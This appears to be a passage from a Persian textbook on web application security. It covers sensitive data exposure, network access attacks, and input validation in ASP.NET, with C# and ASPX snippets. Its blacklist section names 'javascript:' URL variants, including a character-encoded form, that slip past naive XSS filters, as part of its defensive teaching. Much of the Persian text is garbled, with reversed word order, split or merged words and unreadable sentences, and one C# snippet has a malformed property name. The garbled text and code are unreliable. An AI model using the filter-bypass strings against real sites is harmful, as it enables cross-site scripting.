 (Sensitive Data Exposureحساس ) اطلاعات یافشا 12-5-2

 دیگر و ها سیستم مانند منابع تمام رو این از .نماید وارد شرکت یک به زیادی خسارات تواند می اطلاعات نشت

 .شوند محافظت مناسب محتوای فیلترینگ مکانیزم از استفاده با اطلاعات نشت از باید شبکه منابع

مالیاتی و  ٔ  شناسهکارت اعتباری،  ٔ  شمارهوب داده های حساس نظیر  بسیاری از برنامه ها کاربردی تحت

 ٔ  نشده گواهینامه های احرازهویت را به درستی محافظت نمی کنند. مهاجمان ممکن است این داده های محافظت

روی کارگزار سرقت کنند یا تغییر دهند. اگر درخواستها وارسی نشوند، مهاجمان ممکن است درخواستها را به 

 منظور دسترسی غیر مجاز به یک عملکرد جعل کنند.

 

 های حساس داده افشای
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 هنگام ایجاد یک پروژه صفحه لاگین به صورت زیر می اید:

 

 حال اگر در این صفحه لاگین شود و یوزر و پسورد وارد شود:
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ورود اطلاعات و ارسال ان به سمت سرور  هنگام .مهاجم صفحه لاگین را بررسی تا یوزر و پسورد را بدزدد

 ین داده می تواند توسط حمله کننده جدا و دزدیده شود.ارسال و ا clear textاطلاعات به صورت 

 لیحا

 clearپسورد به صورت  وزری دنیو سرور و د نیصفحه لاگ نیشدن ب

کارت های اعتباری را با استفاده از رمزگذاری خودکار پایگاه داده رمز  ٔ  شمارهکاربردی  ٔ  برنامهیک  :2 مثال

هنگام بازیابی، داده ها به صورت خودکار رمزگشایی می شوند و این  می کند. با این حال این بدین معناست که

های کارت اعتباری به صورت رمز نشده فراهم شود.  شمارهامکان دستیابی به  SQLباعث می شود که نقص تزریق 

 یکاربرد ٔ  برنامهرمز کند و فقط  های کارت اعتباری را با استفاده از یک کلید عمومی شمارهسیستم می توانست 

 واند آنها را با استفاده از کلید خصوصی رمزگشایی کند.تب
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شده استفاده نکند. مهاجم به سادگی ترافیک  برای صفحات حفاظت SSLیک سایت ممکن است از  :3مثال 

و کوکی نشست کاربر را می دزدد. مهاجم ممکن است  (بیسیم باز ٔ  شبکهمثل یک )نظر می گیرد  شبکه را تحت

 های خصوصی کاربر دسترسی پیدا کند. دادهکند و نشست کاربر را سرقت کند و به  این کوکی را تکرار

های عبور از درهمسازی بدون سالت برای ذخیرهسازی رمز های عبور استفاده کرده  کلمهپایگاه داده : 4مثال 

است. یک نقص در آپلود فایل به مهاجم این امکان را می دهد که به فایل رمز های عبور دسترسی پیدا کند. تمام 

پیش محاسبه شده  از یهایسازدرهمکمان از  ینگول رندسازیهای بدون سالت را می توان با استفاده از ج درهم

 به دست آورد.

 :شبکه یدسترس حملات 13-5-2

 بر تواند می حمله این .دهد قرار تاثیر تحت نیز را وب کاربردی های برنامه تواند می شبکه دسترسی حملات

 روش در که صورتی در بدهد، را دسترسی اجازه تواند می و بوده گذار تاثیر برنامه در خدمات از عمومی سطح روی

 .داشت نخواهد وجود کار این امکان HTTP پروتکل استاندارد

 به را اطلاعاتی قربانی، سیستم روی بر ها کوکی جاسوسی نفوذگر از :(Cookie Snoopin) یکوک یجاسوس

 استفاده قربانی وب تحت برنامه روی بر دیگری مختلف حملات اندازی راه برای تواند می آن از که آورد می دست

 .بفروشد مهاجمان دیگر به را اطلاعات این یا و نماید

 از که است شبکه از ای منطقه باشد می Demilitarized Zone مخفف که DMZ: DMZ پروتکل به حمله

 می جدا)ینترانتا (شبکه داخلی اطمینان قابل بخش از( ینترنتا (شبکه اطمینان قابل غیر و امن نا بخش آن طریق

 نگردیده تنظیم درستی به آن دیگر های پروتکل و DMZ توسط داخلی شبکه به دسترسی اجازهکه  صورتی در .شود

 خطر به موجب تواند می دسترسی از سطح این .نماید مواجه خطر با را بود سیستم خواهد قادر نفوذگر باشد،

 .گردد داده پایگاه مانند داخلی های بخش به و دسترسی سایت وب صفحه تغییر وب، تحت برنامه افتادن
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 به بیشتر و داده قرار بررسی مورد را آنها از برخی حال وب، کاربردی های برنامه تهدیدات به کوتاه اشاره از پس

 .پردازیم می آنها

 



 

 

 

 یخروج یو کدگذار یورود ی: اعتبارسنجسومفصل  -3

 یورود یاعتبارسنج 1-3

 .ویروس باشد از شکلی میتواند ورودی این که دارد نام ورودی میشود، برنامه وارد بیرونی محیط از که چیزی هر

 بازیابی یا پایگاه دادهو یک از شده خوانده داده های شدهاند، ارسال کاربر ٔ  یلهبوس که فرمهایی شامل برنامه، منابع

 برنامه توسط میتوانند کارگزاروب از شده خوانده فایلهای یا و مرورگر از شده ارسال عنوانهای وب، خدمات از شده

 بود. زیرخواهد شکل به آن از حاصل خروجی و برنامه عملکرد نحوهی .شوند پردازش شما

 

 

نیاز به اعتبارسنجی ورودی نیاز بدیهی است. اطلاعات ناجور ممکن است باعث بروز خطا های منطقی برنامه 

شما در  ٔ  برنامهوب شما را در معرض حمله قرار بدهند. علاوه بر این تنها  ٔ  برنامهنویسی شوند یا ممکن است 
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 به سیستم های دیگر، ها خطر نیست، بلکه ممکن است داده هایی در وبسایت شما معتبر باشند اما ارسال این داده

 را تحت تاثیر قرار دهد. آنها

شما  ٔ  برنامهحتی بدون درنظر گرفتن ملاحظات امنیتی، اعتبارسنجی ورودی تا حد زیادی خطر ازکار افتادن 

به نظر می رسد اعتبارسنجی ورودی بسیار کمهزینهتر از پاکسازی یک پایگاه داده یا  را کاهش می دهد. به علاوه

 مخازن داد های دیگر با کشف داده های نامعتبر در آن باشد.

 ورودی یتوصیف اعتبارسنج 1-1-3

در علم کامپیوتر، اعتبارسنجی داده ها فرآیندی است که طی آن ضمانت می شود که یک برنامه بر روی داده 

، «قواعد اعتبارسنجی»ید، اجرا شود. اعتبارسنجی داده ها از روال هایی استفاده می کند که مفو  حک، صحیهای پا

نامیده می شوند. این روالها صحت، معنا و امنیت داده هایی « روال های بررسی»یا « محدودیت های اعتبارسنجی»

منظور فراهم کردن ضمانتی قطعی و  هستند را بررسی می کنند. اعتبارسنجی داده ها به که ورودی سیستم

یا سیستم خودکار، در  افزارنرمهر یک از انواع مختلف ورودی در یک  مطمئن برای سازگاری، دقت و ثبات برای

ارسنجی داده را می توان با استفاده از متدولوژی های مختلف تعریف کرد و بعتانظر گرفته شده است. قوانین 

 تلف مستقر.سپسهر یک را در زمینه های مخ

اعتبارسنجی ورودی به این معناست که ورود اطلاعات ناجور را به سیستم به حداقل برسانیم. اعتبارسنجی 

 ت.سنی SXSو  SQLورودی روش اصلی برای جلوگیری از حملات تزریق 

 اعتبارسنجی داده ها باید:

 داده ورودی باشد. ٔ  یهمهروحداقل قابل اعمال بر  ➢

 قابل پذیرشهستند را تعریف کنند.انواع کاراکتر هایی که  ➢

 حداقل و حداکثر طول برای داده ها را تعریف کنند. ➢
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Asp.Net  شامل کنترل های اعتبارسنجی است که به شما اجازه می دهد تا کد های اعتبارسنجی خود را به

توانید کد دلخواه  حداقل برسانید و اگر کنترل های اعتبارسنجی آماده به عنوان استاندارد مناسب نیستند، شما می

 کنید. سازیپیادهخود را 

 ورودی یاعتبارسنجروش های  2-1-3

 ورودی سمت کارخواه یاعتبارسنج 1-2-1-3

اعتبارسنجی سمت کارخواه چیزی است که روی مرورگر کاربر اتفاق افتاده و قبل از اینکه داده ها به سمت 

ب است، چرا که بدون ارسال داده ها خو ٔ  یدهاکارگزار ارسال شوند انجام می شود. اعتبارسنجی سمت کاربر یک 

بنابراین اعتبارسنجی ؛ کردن فرم بلافاصله متوجه آنیه که نیاز به تغییر دارد می شود submitبه کارگزار، کاربر با 

وب موجب صرفهجویی در منابع  دهندگانتوسعهسریعی می دهد و از دید  مت کارخواه از دید کاربر به او پاسس

 شود.ارزشمند کارگزار می 

بنابراین داشتن دانشی ؛ رده برای انجام اعتبارسنجی سمت کارخواه استفاده می شودتگس ربه طو جاوااسکریپت

 امکان کنترل کامل بر اعتبارسنجی سمت کارخواه را به ما می دهد. 2 یریکواز جاوااسکریپت و جی 

Asp.Net  نیز برخی از کد های آماده که اعتبارسنجی سمت کارخواه را انجام می دهند، فراهم کرده است که

را در قرار دادن کد های اعتبارسنجی سمت کارخواه در محل مربوطه بدون نوشتن کد  دهندگانتوسعهمی تواند 

 های زیاد کمک کند.

 جاوااسکریپت به انجام اعتبارسنجی می پردازند. کنترل هایی که در ادامه معرفی خواهند شد، با استفاده از

 ورودی سمت کارگزار یاعتبارسنج 2-2-1-3
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سمت کارگزار این است که در  اعتبارسنجی سمت کارگزار در کارگزار رخ می دهد. مزیت داشتن اعتبارسنجی

وسعهدهنده صورتی که کاربر بخواهد به نحوی اعتبارسنجی سمت کارخواه را دور بزند )به طور تصادف یا عمدی( ت

 وب می تواند این مشکل را در سمت کارگزار متوجه بشود.

بنابراین داشتن اعتبارسنجی سمت کارگزار امنیت بیشتری را فراهم می کند و تضمین می کند داده هایی که 

توسط برنامه پردازش شد ه اند نامعتبر نباشند. اعتبارسنجی سمت کارگزار، براساس منطق سفارشی نوشته شده 

 دهنگان انجام می شود. ط توسعهتوس

 برخی از کنترل هایی که ارزیابی سمت کارگزار را تسه یل می کنند فراهم کرده و چارچوبی Asp.Netهمچنین 

 تامین می کند. دهندگانتوسعهجهت انجام آن برای 

 کارگزار-ورودی کارخواه یقابلیت اعتماد به اعتبارسنج 3-2-1-3

تبارسنجی را انتخاب کنند، اما معمولا بهتر است که یک نوع وب ممکن است هر نوع اع دهندگانتوسعه

 اعتبارسنجی سمت کارخواه داشته باشند و سطح کاملتری ازهمان نوع را در سمت کارگزار داشته باشند.

برخی منابع کارگزار جهت اعتبارسنجی داده های معتبر فعلی )در سمت کارخواه( طول می  نمطمئناا گرفت

 میشه خوب است و امنیت را تضمین می کند.ه کشد، اما این روش

 ودیرتصفیه و 3-1-3

 تکنیک تصفیه ورودی: لیست سیاه 1-3-1-3

های کاربر ظاهر گردد معقول به اجرای یک اعتبارسنجی توسط تعریف یک الگوی ممنوع که نباید در ورودی

 .رسدینظر م

ورودی با این الگو تطبیق یابد در این صورت رشته واردشده  ٔ  رشته که اگر منظور از الگوی ممنوع این است

سفارشی با هر  urlدرخواست  ٔ  اجازهتوان الگویی تعریف کرد که کاربر بتواند . برای نمونه میباشدینامعتبر م
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یست نام دارد. روش ل »لیست سیاه  « یبند. این نوع استراتژی طبقهداشته باشدرا  :javascript رازیغپروتکلی به

 سیاه دو اشکال عمده دارد:

در  که هاینمونهو دشوار است.  کار پیچیدهمخرب، یک  یدرواقع تعریف کردن همه رشته ها پیچیدگی: •

اجرا نیست، زیرا ممکن قابل urlدر  ":javascript"توضیح داده شد، از طریق جستجوی ساده رشته  لابا

که حرف اول "avascript;106#&"رگ است و یا که حرف اول آن بز :Javascript"مثل ییاست رشته ها

 صورت مرجع یک کاراکتر عددی کدگذاری شده است، در این جستجو یافت نشوند.آن به

جدید  باشد، ممکن است در مواجه با ویژگی افتهیحتی اگر یک لیست سیاه کامل توسعه منسوخ شدن: •

، شکست بخورد. برای نمونه، یک لیست سیاه برای دهدییک مرورگر که اجازه افزودن کد مخرب را م

نتوانست جلوی  html5در  onmousewheelبود اما بعد از معرفی صفت  افتهیتوسعه htmlاعتبارسنجی 

توجه است، چراکه صفحات  از طریق این صفت را بگیرد. این اشکال در توسعه وب بسیار قابل xssحملات 

به دلیل  است. شدهلیهستند تشک یروزرسانور مداوم در حال بهطهای مختلفی که بهوب از تکنولوژی

 شدت نهی شده است.بر اساس لیست سیاه به یبندذکر شد، استراتژی طبقه بالاتی که در مشکلا

 تکنیک تصفیه ورودی: لیست سفید  2-3-1-3

الگوی  تعریف یک الگوی ممنوع، یک یجاسفید اساساا برخلاف لیست سیاه است. در این روش بهروش لیست 

که با این الگو تطبیق نیابد نامعتبر  یا، در این صورت رشتهسنجدیو رشته های ورودی را با آن م شده یفتعر مجاز

 و که فقط دهدیرا م urlتوان الگویی تعریف کرد که به کاربر اجازه درخواست . برای نمونه میشودیشناخته م

 صورتبهچه )باشد  ":javascript" که شامل پروتکل urlهر  جهیباشد. درنت httpsو  httpفقط شامل پروتکل 

"Javascript"  106#&" صورتبهو چهjavascript"  شودیمظاهر گردد( نامعتبر شناخته. 

 دارد: عمدهاین روش در مقایسه با لیست سیاه دو مزیت 
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تر آسان مخرب یهاامن عموماا از تعریف کردن همه رشته  یاز رشته ها یاتعریف کردن مجموعه: سادگی •

توابع در دسترس  های کاربر به مجموعه محدودی ازکه ورودیی طیاین مطلب، در شرا است. صحیح بودن

های شامل urlالگویی که فقط  سازیپیادهاست. برای مثال بیشتر مشهود یک مرورگر نیاز داشته باشد، 

اکثر شرایط نیاز کاربران را رفع است و در  را معتبر تشخیص دهد بسیار ساده httpsو  httpپروتکل 

 .کندیم

این روش با اضافه شدن ویژگی های جدید به مرورگر جدید منسوخ  ،: برخلاف لیست سیاهطول عمر •

 ،را میدهد titleفقط اجازه داشتن صفت  htmlک لیست سفید که به المان های ینمونهنمیشود. برای 

 م امن باقی میماند.باز ه html5در  onmousewheelحتی با معرفی صفت 

 انجام اعتبارسنجی ورودی و تصفیه با استفاده از عبارات منظم 4-1-3

 اطلاعاتاسم، آدرس، شماره تلفن و دیگر  مانندحل مناسبی برای اعتبارسنجی فیلدهای متنی عبارات منظم راه

 :شودیکاربر هستند. از عبارات منظم برای انجام موارد زیر استفاده م

 ورودی برای کاراکترهای قبول قابل ٔ  بازهمحدود کردن  ➢

فیلدها مانند کد ملی، کد پستی و غیره نیازمند  ٔ  یهاولمثال: الگوی عنوانبندی، بهاعمال قوانین قالب ➢

 الگوی مخصوصی برای کاراکترهای ورودی هستند.

 بررسی طول داده ➢

 توانید از کنترلهای دریافت شده با کنترلهای کارگزار شما میبه منظور اعتبارسنجی ورودی Asp.Netدر 

RegularExpressionValidator .استفاده کنید 

 و کنترلهای های، کوکQueryStringهمچنین قادر خواهید بود برای اعتبارسنجی دیگر انواع ورودی مانند 

 استفاده کنید. System.Text.RegularExpressions.Regexاز کلاس  HTMLورودی 
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 Regexو کلاس  RegularExpressionValidatorگیری از کنترل  با بهره ASP.NETبرنامه های کاربردی 

 . کنترلکنندیاز عبارات منظم پشتیبانی م System.Text.RegularExpressions namespaceدرون 

RegularExpressionValidator یهالکنتر ٔ  مجموعهرا در بخش Asp.Net خش ب توضیح خواهیم داد، در این

 .میپردازیم Regexبه معرفی کلاس 

 Regexاستفاده از کلاس   1-4-1-3

های دیگری مانند یا نیاز به اعتبارسنجی ورودی و توانید از کنترلهای اعتبارسنجی استفاده کنیداگر نمی

 استفاده کنید. Regex کلاس توانید ازیا کوکیها دارید، شما می QueryStringپارامترهای 

 System.Text.RegularExpressionsبه منظور ارجاع به  usingاضافه کردن یک دستور  .1

 داده شده است: مثال زیر نشان، همانگونه که درRegexاز کلاس  IsMatchفراخوانی تابع 

// Instance method: 

Regex reg = new Regex(@"^[a-zA-Z'.]{1,40}$"); 

Response.Write(reg.IsMatch(txtName.Text)); 

// Static method: 

if (!Regex.IsMatch(txtName.Text,@"^[a-zA-Z'.]{1,40}$")) 

{ 

// Name does not match schema 

} 

 

 کار با رشته ها و مقایسه آنها 5-1-3

کاری داخلی بسیاری را به منظور تسهیل کردن امر مقایسه و دست یهااز چارچوب دات نت تابع Stringکلاس 

. در حال حاضر دریافت اطلاعات در مورد یک رشته یا ایجاد رشته جدید با دستکاری رشته کندیرشته ها فراهم م

. کندیموجود، امری بدیهی است. چارچوب دات نت چندین تابع برای مقایسه و دستکاری رشته ها فراهم م یها

 اند.مقداردهی و مقایسه برای رشته ها شرح داده شده یهادر جدول زیر تابع
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 استفاده تابع نام

String.Compare صحیح عدد مقدار یک بازگرداندن. رشته دو مقادیر مقایسه 

String. 

CompareOrdinal 

 صحیح عدد مقدار یک بازگرداندن و محلی فرهنگ به توجه بدون رشته دو مقایسه

String.CompareTo صحیح عدد مقدار یک بازگرداندن. دیگر رشتهای با رشتهای شی یک مقایسه 

String.StartsWith یا میشود شروع میشود، داده تابع به ورودی عنوان به که رشتهای با موردنظر رشته آیا اینکه تعیین 

 .بولین مقدار یک بازگرداندن. خیر

String.EndsWith یا مییابد میشود، پایان داده تابع به ورودی عنوان به که رشتهای با موردنظر رشته آیا اینکه تعیین 

 .بولین مقدار یک بازگرداندن. خیر

String.Equals بولین مقدار یک بازگرداندن. خیر یا برابرند هم با رشته دو آیا اینکه تعیین. 

String.IndexOf یک موردنظر، بازگرداندن رشته ابتدای از شمارش شروع با رشته، یا کاراکتر موقعیت بازگرداندن 

 .صحیح عدد مقدار

String.LastIndexOf یک بازگرداندن موردنظر، رشته انتهای از شمارش شروع با رشته، یا کاراکتر موقعیت بازگرداندن 

 .صحیح عدد مقدار

String.Split  آرایه ای از داده ها با نوعchar تولید میکند. کاراکتر ورودی تابع به عنوان عامل 

String.Substring طول همچنین میتوانید. مشخص کاراکتری موقعیت از شروع با رشته یک از زیررشته یک تولید 

 .کنید مشخص را رشته

String.Insert مکان در یک را رشته یک یا کاراکتر یک میتوانید. رشته یک از مشخصی مکان در متن درج 

 .کنید درج مشخص

String.Replace رشته جدید. یا کاراکتر یک با آنها کردن جایگزین و رشته یک از کاراکترهایی حذف 

، این توصیه های ساده را دیدهینت صفحات وب خود را توسعه م از چارچوب دات با استفاده هنگامی که شما

 کار گیرید: به هنگام استفاده از رشته ها

 برای StringComparison.OrdinalIgnoreCaseیا  StringComparison.Ordinalاستفاده از  ➢

 با فرهنگ نامشخص. ٔ  رشتهبرای تطبیق پیشفرضی امن عنوان ، بهسه هایمقا
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یا  StringComparison.Ordinalبا  سه هایاستفاده از مقا ➢

StringComparison.OrdinalIgnoreCase .برای عملکرد بهتر 

هستند، زمانی که  StringComparison.CurrentCultureای که بر مبنای  استفاده از عملیات رشته ➢

 خروجی را برای کاربر به نمایش بگذارید. دیخواهیم

 زمانی که String.ToLowerInvariantروش  یجابه String.ToUpperInvariantاستفاده از روش  ➢

 .دیکنیشما رشته ها را برای مقایسه نرمالسازی م

 برابر هستند.ای آزمون اینکه آیا دو رشته با هم بر String.Equalsاستفاده از روش  ➢

 و عدم ((مرتب کردن رشته ها))برای  String.CompareToو  String.Compareاستفاده از روشهای  ➢

 ها برای بررسی تساوی دو رشته.استفاده از این تابع

در  ءد و تاری استفاده از قالببندی حساس به فرهنگ، برای نمایش داده های غیررشتهای، مانند اعدا ➢

 یک رابط کاربری.

 زیر هنگام استفاده از رشته ها اجتناب کنید: یوه هایاز ش

طور ضمنی روشهای مقایسه رشته ها برای عملیات رشته ها صریحاا یا به 1که  هایی از سربارگذاری ➢

 ، استفاده نکنید.کنندیرا مشخص نم

هستند  StringComparison.InvariantCultureکه بر مبنای  یادر اکثر موارد از عملیات رشته ➢

 استفاده نکنید.

ر برای یک مقدار بازگشتی صف CompareToیا  String.Compareعدم استفاده بیش از حد از روش  ➢

 آیا دو رشته با هم برابر هستند یا خیر. کندیم که تایین

 غیررشتهای در قالبعدم استفاده از قالببندی حساس به فرهنگ به منظور اصرار بر نمایش داده های  ➢

 .یارشتهی داده ها
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 تبدیل انواع داده 6-1-3

حل مناسبی برای اعتبارسنجی فیلدهایی است که باید دارای یک نوع مشخص براساس نیاز تبدیل داده راه

تواند برای می integerتنها دربرگیرنده یک عدد بوده و نوع تلفن باید  توسعه دهنده وب باشند. برای مثال شماره

ورودی شماره تلفن به نوع عددی نباید با خطا روبرو گردد. از آنجا که  ٔ  رشتهآن مناسب باشد، بنابراین تبدیل 

C#تواند دوباره تعریف گردد و تعریف یک متغیر، آن متغیر نمیاز  ، در زمان کامپایل دارای انواع ایستا است، بعد

 آنکه آن نوع قابل تبدیل به نوع متغیر باشد.شود مگر استفاده  یا به منظور ذخیره مقادیر دیگر نوعها

عنوان را به i، زمانیکه شما بنابراین؛ نداردبرای مثال، هیچ تبدیلی از یک عدد صحیح به یک رشته دلخواه وجود 

 را به آن اختصاص دهید. Hello"" ٔ  رشتهتوانید ، دیگر نمیدیکنییک عدد صحیح اعلام م

تابع از نوع  ا پارامترگاهی اوقات ممکن است نیاز به کپی کردن یک مقدار به یک متغیر ی با این حال، شما

دیگری داشته باشید. برای مثال، ممکن است شما یک متغیر از نوع عددصحیح داشته باشید و بخواهید آن را به 

یک  یک متغیر کلاس را به ارسال کنید. یا ممکن است نیاز داشته باشید که doubleیک تابع با پارامتر از نوع 

توانید مطابق با شما می #C. در شودیمتغیر در نوع واسط اختصاص دهید. این نوع از عملیات تبدیل نوع نامیده م

 تبدیلات زیر را انجام دهد.

 اطلاعاتی هیچ اقدام خاصی موردنیاز نیست چراکه در این حالت تبدیل امن است و هیچ: تبدیل ضمنی •

 هایکلاسمثال، تبدیل عدد صحیح کوچکتر به عدد صحیح بزرگتر و تبدیل عنوانفت. بهاز دست نخواهد ر

 پایه. هایکلاسمشتق شده به 

بایت بر روی  int (4هر مقداری که یک متغیر تواند می (بایت 8) long مثال، در یک متغیر نوععنوانبه

طور ضمنی، پیش از آنکه ارزش ال زیر، کامپایلر بهتواند ذخیره کند، ذخیره شود. در مثمی (بیتی 32ی وترهایکامپ

تبدیل  longنوع  یک اختصاص دهد، طبق دستور قبل آن را به (است longاز نوع  که)bigNumسمت راست را به 

 کرده است.
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// Implicit conversion. num long can 

// hold any value an int can hold, and more! 

int num = 2147483647; 

long bigNum = num; 

ممکن  نیاز دارد. تبدیل نوع برای مواقعی که Cast تبدیل صریح به یک عملگر (cast) :تبدیل صریح •

تبدیل به هر دلیلی به درستی انجام نگیرد، موردنیاز  یا عملتبدیل از دست برود و  است داده در هنگام

یک نوعی که دارای دقت کمتری است و یا عددی به  نوع از: تبدیل یک اندعبارترایج  هاینمونهاست. 

 مشتق شده.کلاس پایه به  کلاسآن کوچکتر است و تبدیل یک نمونه  ٔ  محدوده

تبدیل صریح  کند، کامپایلر به یک دادن تولید به هر حال اگر یک تبدیل نتواند اطلاعات را بدون خطر از دست

را که شما در حال تبدیل  یاهی، نوع اولتبدیل نوع . انجام یکشودینیاز دارد که این عمل تبدیل نوع نامیده م

 .کندیکردن آن به نوع جدید هستید را برای تبدیل، تعیین م

 شد.کامپایل نخواهد . این برنامه بدون تبدیل کندی، تبدیل مintرا به  doubleبرنامه زیر یک متغیر از نوع 

class Test 

{ 

static void Main() 

{ 

double x = 1234.7; 

int a; 

// Cast double to int. 

a = (int)x; 

System.Console.WriteLine(a); 

} 

} 

// Output: 1234 
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 مخصوصی یهاتوسط کاربر، به وسیله تابع شدهفیتبدیل تعر: توسط کاربر شدهفیتعر یهالیتبد •

خاص را که فاقد یک  یهاصریح و ضمنی بین نوع یهالیتا تبد سازدیم که شما را قادر شودیانجام م

 پایه هستند، تعریف کنید. کلاس-مشتق شده کلاسرابطه طبقاتی 

 های و شی integer برای تبدیل بین انواع ناسازگار، مانند: کمکی هایکلاستبدیل با استفاده از  •

System.DateTime کلاس توانید ازاز بایت، می ییه هایهگزادسیمال و آرا یو یا رشته ها 

System.BitConverter کلاستوانید از استفاده کنید و همچنین می System.Convert یهاو تابع 

Parse عددی وجود دارد، مانند: یهابرای نوع یسینوکه در ساختار داخلی خود زبان برنامهInt32.Parse 

 بهره ببرید.

ها را به منظور انجام عمل تبدیل داده ها فراهم یک مجموعه کامل از تابع System.Convert کلاسبرای مثال: 

 کلاسمختلف ممکن است روشهای مختلف برای تبدیل انواع داده داشته باشند، ی هازبان . درحالی کهکندیم

Convert  ین رایج، در یک قالب عمومی موجود و در دسترس خواهد بود. ا یهالیکه تمامی تبد کندیمتضمین

 نامربوط رامواردی از جمله: بسط دادن تبدیلها، محدود کردن تبدیلها و همچنین تبدیل به انواع داده های  کلاس

 .کندیفراهم م

 استثنا در تبدیل نوع در زمان اجرا 1-6-1-3

کند. ممکن است که یک  تعیین تواندرا نمی هالیدر برخی از تبدیل انواع، کامپایلر معتبر بودن یا نبودن تبد

به علت  جهیشود. درنت شکست مواجهیات تبدیل در هنگام کامپایل به درستی انجام شود اما در زمان اجرا با عمل

را  asو  isدو عملگر  #Cداد.  رخ خواهد InvalidCastExceptionعدم موفقیت یک نوع تبدیل در زمان اجرا، یک 

 تبدیل بررسی کنید. یک ام واقعیتا سازگاری را قبل از انج دهدیکه به شما امکان م کندیفراهم م

 

 ASP.Net یاعتبارسنج یهاکنترل 7-1-3
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را که اینجا نشان داده شده  IValidatorمعمولی هستند که  یهاکنترل asp.netکنترلهای اعتبارسنجی  ٔ  همه

 کنندیم سازیپیادهاست، 

public interface IValidator 

{ 

void Validate(); 

string Error Message { get; set; } 

bool IsValid { get; set; } 

} 

را تعریف Validateو یک تابع  IsValidو  ErrorMessage یژگیودو  IValidatorواسط  دینیبیهمانطور که م

 یهااعتبارسنج ٔ  مجموعهخودش را به  ردیگی. زمانی که یک کنترل اعتبارسنجی بر روی یک صفحه قرار مکندیم

که در بین مجموعه کنترلهای اعتبارسنج  آوردیرا فراهم م Validateیک تابع  Page کلاس. کندیصفحه اضافه م

در منطق  هر آنچه کهبرای هر کنترل  ()Validate. تابع کندینام شده را فراخوانی م هر کنترل ثبت کندیحرکت م

را  IsValidو  ErrorMessageاعتبارسنج آن نوشته شده ارزیابی کرده و با توجه به نتیجه حاصل شده مقادیر 

به  که هستند ControlToValidate. هر یک از کنترلهای اعتبارسنجی استاندارد دارای یک ویژگی کندیتعیین م

 .کندیکه خواهان اعتبارسنجی هستند ضمیمه م ییهایکنترل اعتبارسنج ورود

 CausesValidation، یک خصوصیت شوندیدر صفحه م PostBack ایجاد یککه باعث  Asp.Net یهاکنترل

 (. برخی از کنترلها شودیدر صفحه م PostBackتنظیم شود، باعث ایجاد یک  Trueمقدار دارند که زمانی که با 

طور به)دارند، مابقی کنترلها  CausesValidationبرای خصوصیت  Trueیک مقدار پیش فرض  (دکمه ها مانند

 این مقدار پیشفرض را ندارند. (شوندینم PostBackطور خودکار باعث ایجاد یک کلی آنهایی که به

 ISValidدر عوض خصوصیت  شودی، پردازش صفحه متوقف نمشودیزمانی که اعتبارسنجی با شکست مواجه م

عنوان یک توسعهدهنده، خصوصیت به . این بر عهدهی کاربر است کهشودیتنظیم م falseبرای صفحه با مقدار 
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ISValid ق آن تصمیم بگیرد که در ادامه چه چیزی اجرا شود. اگر اعتبارسنجی به هیچ عنوان را چک کند و بر طب

 کند، یک استثنا رخ خواهد داد. صفحه تلاش ISValidاتفاق نیفتد و کاربر برای چک کردن خصوصیت 

 هر کدام از کنترلها از برخی خواص مشترک اضافی برخوردارند:

• :ControlToValidate ه مشخصه یا این خاصیت دربرگیرندID  کنترلی مانندTextBox است  و یا غیره

 که باید مقدار ورودی آن توسط این کنترل اعتبارسنجی شود.

• :EnableClientScript  زمانی که مقدار این کنترل بهFalse تنظیم شده باشد، اعتبارسنجی سمت 

 .شودیو اعتبارسنجی فقط یکبارهنگام ارسال صفحه برای کارگزار انجام م دهدیکارخواه رخ نم

• :SetFocusOnError  هنگامی که مقدار باTrue نما در اولین فیلدی که از  تنطیم شود مکان

 .ردیگینظراعتبارسنجی با شکست مواجه شده باشد جای م

• :Display  تواند یکی ازمقادیر ین خصوصیت می. ادهدینمایش پیغام خطا را نشان م ٔ  نحوهاین کنترل

 :زیر را داشته باشد

o none.هرگز پیام خطایی نشان داده نشود : 

o :Static است. همیشه یک فضای خالی برای نمایش پیغام خطا در صفحه در نظر گرفته شده 

o : Dynamic که  شودیفضای خالی برای نمایش پیغام خطا تنها زمانی در نظر گرفته م

 مواجه شود و پیغام خطا نشان داده شود. شکستاعتبارسنجی با 

• :ValidationGroupدکمه  تا کنترلهای درون یک صفحه را همراه با دهدیبه کاربر اجازه م این خاصیت

دارای این  ٔ  دکمهمنطقی جای دهد. زمانی که یک  یجداگانه برای ارسال فرم درون گروه ها یها

ها با آن ValidationGroupهر کدام از کنترلهای اعتبارسنجی که مقدار خاصیت شود  خصوصیت کلیک

 .شوندیاین دکمه برابر باشد اعتبارسنجی م ValidationGroupمقدار 

 کنترل اعتبارسنجی فیلد الزامی  1-7-1-3
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RequiredFieldValidator کنترل مدنظر متفاوت از مقدار اولیه آن  ورودی برایکه مقدار  کندیبررسی م

 کندی، این کنترل تضمین مشودیاعمال م TextBoxحالت زمانی که این مشخصه برای یک  نیترباشد. در ساده

 است: شده همانطور که در اینجا بدان اشاره مربوطه خالی نباشد. TextBoxکه 

Name: <asp:TextBox runat="server" ID="name"> </asp:TextBox > 

<asp:RequiredFieldValidator ID="nameRequired" runat="server" 

ErrorMessage="You must enter your name" ControlToValidate="name" 

Display="Dynamic" Text="*" / > 

مجموعه خصوصیت  در اینها و یا منوهای کشویی نیز اضافه شود. listboxبعلاوه ممکن است این کترل به 

InitialValue (مقدار اولیه) تا کاربر ملزم به انتخاب یکی از موارد  شودیروی این کنترل اعتبارسنجی تنظیم م

 باشد. همانطور که در اینجا نشان داده شده است: هاستیموجود در این ل

<asp:DropDownList runat="server" ID="county"> 

<asp:ListItem Selected="True">Select a county</asp:ListItem > 

<asp:ListItem>Antrim</asp:ListItem > 

<asp:ListItem>Armagh</asp:ListItem > 

<asp:ListItem>Down</asp:ListItem > 

<asp:ListItem>Fermanagh</asp:ListItem > 

<asp:ListItem>Londonderry</asp:ListItem > 

<asp:ListItem>Tyrone</asp:ListItem > 

</asp:DropDownList > 

<asp:RequiredFieldValidator runat="server" ID="requiredCounty" 

InitialValue="Select a county" ControlToValidate="county" 

ErrorMessage="You must select a county" Text="*" / > 

اگرچه کنترلهای )ها فاقد مقدار نباشد. آن یهاتمام اعتبارسنجهای دیگر تنها زمانی اجرا خواهند شد که کنترل

CustomValidator پیکربندی شوند که در صورت لزوم بر روی کنترلهای فاقد مقدار نیز  یاممکن است به گونه

 استفاده شود. RequiredFieldValidatorفیلدهای یک فرم اجباری باشند باید از کنترل  پر کردن ( اگراجرا شوند.

 اعتبارسنجی بازهکنترل  2-7-1-3
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RangeValidator که مقدار وارد شده برای یک کنترل با نوع کندیاعتبارسنجی بازه بررسی مترل با کن 

